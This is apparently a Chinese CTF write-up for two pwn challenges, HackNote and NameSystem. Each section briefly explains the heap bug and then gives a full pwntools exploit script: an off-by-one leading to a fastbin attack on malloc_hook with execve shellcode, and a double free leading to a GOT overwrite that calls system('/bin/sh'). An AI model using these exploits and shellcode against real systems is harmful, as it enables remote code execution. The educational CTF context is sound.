难度刚刚好,我能做出来,但是又不是那么容易做出来。最后可惜,没能进线下,ak了pwn也无济于事。

0x01 Hacknote

静态编译的一个题,没开pie,没开nx,可以getshell,漏洞就是off-by-one,比赛的时候巨鸡儿坑,坑死我了,第一次的附件chunk是存在bss段的,然后我就想了个简单的办法,直接用unlink的方式做,但是尼玛服务器上面的程序chunk指针不是在bss段上,而是在栈上。当我发现的时候我简直无语了。最后附件更新四五次,浪费我大量时间在这上面。最后getshell的办法就是利用off-by-one造成堆块重叠,利用fast bin attack,攻击malloc_hook,攻击的时候,修改malloc_hook指向malloc_hook地址的随后的八个字节,修改的同时,在malloc_hook后面写上shellcode。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from pwn import *
#p=process("./HackNote")
p=remote("183.129.189.62",16804)
context.log_level='debug'
def create(size,content):
p.recvuntil("4. Exit\n")
p.sendlineafter("-----------------\n",'1')
p.sendlineafter("Input the Size:\n",str(size))
p.sendafter("Input the Note:\n",content)
def free(index):
p.recvuntil("4. Exit\n")
p.sendlineafter("-----------------\n",'2')
p.sendlineafter("Input the Index of Note:\n",str(index))

def edit(index,content):
p.recvuntil("4. Exit\n")
p.sendlineafter("-----------------\n",'3')
p.sendlineafter("Input the Index of Note:\n",str(index))
p.sendafter("Input the Note:\n",content)
create(0xf8,'a'+'\n')
create(0x38,'a'+'\n')
create(0x20,'a'+'\n')
create(0xf8,'a'+'\n')
create(0x88,'a'*0x1+'\n')
edit(3,'a'*0xf8)
create(0x20,'\x00'+'\n')
free(0)
payload='a'*0xf0+p64(0x270)+'\x90'
edit(3,payload)
free(4)
create(0xf8,'a'+'\n')
create(0x38,'a'+'\n')
free(4)
edit(1,p64(0x6cb772)+'\n')
create(0x38,'a'+'\n')
create(0x38,'aaaaaa'+p64(0x6cb790)+"\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05"+'\x00\n')
#gdb.attach(p)
p.recvuntil("4. Exit\n")
p.sendlineafter("-----------------\n",'1')
p.sendlineafter("Input the Size:\n",str(23))
p.interactive()

0x02 NameSystem

这个题的漏洞如果不仔细看,是真的看不出来,在free的时候,将当前chunk指针清零,并将后面指针往迁移。如果粗略的看,这样是没有什么问题的。但是仔细思考,当我们堆块为满的时候,前面任何一个chunk的指针被清零后,最后的一个chunk会赋值前移,造成的效果就是第19和第20个的chunk值一模一样,这样就造成悬挂指针,也就是可以double free了。getshell的主要思路就是攻击got表和存放chunk指针的bss段来泄露lib和getshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
from pwn import *
p=process("./NameSystem")
elf=ELF("./NameSystem")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
#p=remote("183.129.189.62",21305)
#context.log_level='debug'
def create(size,content):
p.sendlineafter('Your choice :','1')
p.sendlineafter("Name Size:",str(size))
p.sendafter("Name:",content)
def free(index):
p.sendlineafter('Your choice :','3')
p.sendlineafter("The id you want to delete:",str(index))
for i in range(18):
create(0x60,'\n')

for i in range(2):
create(0x50,'\n')
free(0)
free(19)
for i in range(17):
free(0)
free(0)
free(0)
gdb.attach(p)
create(0x50,p64(0x601ffa)+'\n')
create(0x50,p64(0x601ffa)+'\n')
create(0x50,p64(0x601ffa)+'\n')
for i in range(17):
create(0x60,'\n')
free(3)
free(3)
free(19)
for i in range(13):
free(3)
free(5)
free(3)
free(3)
create(0x60,p64(0x60208d)+'\n')
create(0x60,p64(0x60208d)+'\n')
create(0x60,p64(0x60208d)+'\n')
for i in range(14):
create(0x30,'\n')
free(6)
free(6)
free(19)
for i in range(10):
free(6)
free(7)
free(6)
free(6)
create(0x60,'aaa'+p64(0x602080)+p64(0x000000000060200a)+'\n')
onegad=[0x45216,0x4526a,0xf02a4,0xf1147]
create(0x50,'aaaaaa'+p64(0x41)+p64(elf.symbols['puts'])[0:6]+'\n')
free(0)
stdout=u64(p.recv(6).ljust(8,'\x00'))
libc_base=stdout-(0x00007ffff7dd2620-0x7ffff7a0d000)
success("libc====>0x%x"%libc_base)
pause()
system=libc_base+libc.symbols['system']
create(0x30,p64(0x602008)+'\n')
create(0x30,p64(0x602008)+'\n')
create(0x30,'/bin/sh\x00'+'\n')
create(0x30,p64(system)[0:6]+'\n')
free(9)
#gdb.attach(p)
p.interactive()